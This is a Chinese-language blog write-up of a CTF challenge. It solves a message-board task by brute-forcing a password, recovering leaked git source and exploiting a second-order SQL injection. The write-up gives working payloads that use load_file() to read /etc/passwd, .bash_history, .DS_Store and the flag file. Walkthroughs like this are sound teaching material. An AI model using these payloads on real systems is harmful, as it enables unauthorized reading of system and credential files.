Z1d10tのBlog

A note for myself,have fun!

[网鼎杯 2018]Comment

这是一道关于sql二次注入的题目 第一次遇到二次注入的题目蛮不错

进入之后,是一个类似于留言板的界面

img

需要先登录 然后形式是密码最后三位纯数字不知道 通过bp爆破一下就出来了 密码结尾是666

进入之后f12

img

发现提示 存在git源码泄露的

直接上githack

img

发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

但是发现源码不全

git log或者 git log --reflog找到原来的代码然后恢复

但是我这里没有复现成功 一直报错 找了好久没发现是什么原因

img

无果只能再去寻找别的方法

然后发现了另一个 提取远程 git 泄露或本地 git 的工具 git_extract 可以说是增强版

源码地址:https://github.com/gakki429/Git_Extract

调用的时候 要用python2 因为这是python2的脚本

img

img

发现了更早的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

分析:

存在两个表 board 和 commet

并且 $sql = "select category from board where id='$bo_id'";当我们评论时候还会调用board表

再来看

1
2
3
4
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";

$category,$content是我们可控的。且最后显示的是content,我们可以尝试闭合content = ‘$content’

举例当我们去发帖语句为

category 为',content=user(),/*其它随意,然后去详情里面评论*/# 这样就会回显我们当前用户信息

然后语句会被拼接成下面这样

1
2
3
4
insert into comment
set category = ' ',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";

即原来的content内容被我们用注释/**/给注释了 我们自己可以创建一个content从而达到我们想要的语句

构造payload:',content=user(),/*

img

发现是root权限 这可太行了

直接用load_file()函数去读文件

构造payload:123',content=((select(load_file("/etc/passwd")))),/*

1
category=123',content=((select(load_file("/etc/passwd")))),/*` 注意一下这里category里面最好随便放点内容 如果直接是空的 比如构造成这样`',content=((select(load_file("/etc/passwd")))),/*

闭合进去之后就会变成category=''直接为空字符 可能会无回显

img

发现成功读取

看到最后一行 发现存在www用户 那么这是什么呢 一般我们在linux下安装web开设靶场 一般默认系统web用户会为www

一般增加的用户信息会在/home路径下 root本身的信息会在根目录/root路径里

比如我曾经在我的centos7上装过小皮面板 就会有个www用户默认在我的/home路径下(那个apple用户是我当时创建的用户 )

img

并且能看到地址目录为:/home/www

构造payload:123',content=((select(load_file("/home/www/.bash_history")))),/*

这里.bash_history文件是什么呢 一般在linux 以.开头的都是隐藏文件

在终端敲过的命令,linux是有记录的,默认可以记录500条历史命令。这些命令保存在用户的宿主目录中的.bash_history文件中。

拿我本地apple用户来说,如下

我曾经修改过apple用户的密码 所以有记录

img

回到题目得到

img

看到记录有依次如下操作:

  1. cd /tmp
  2. unzip html.zip
  3. rm -f html.zip
  4. cp -r html /var/www/
  5. cd /var/www/html/
  6. rm -f .DS_Store
  7. service apache2

他只删除了在/var/www/html下的 .DS_Store文件 原来路径下的.DS_Store文件还保存着 我们可以读取,并且里面内容读出来大多数是乱码 最好以hex()函数也就是16进制读出来

.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。相当于 Windows 下的 desktop.ini。

构造payload:test',content=((select(hex(load_file("/tmp/html/.DS_Store"))))),/*

img

发现了flag文件名 flag_8946e1ff1ee3e40f.php

然后去读取 构造payload:test',content=((select(hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))))),/*

img

转码得到flag

img

本文最后更新于 天前,文中所描述的信息可能已发生改变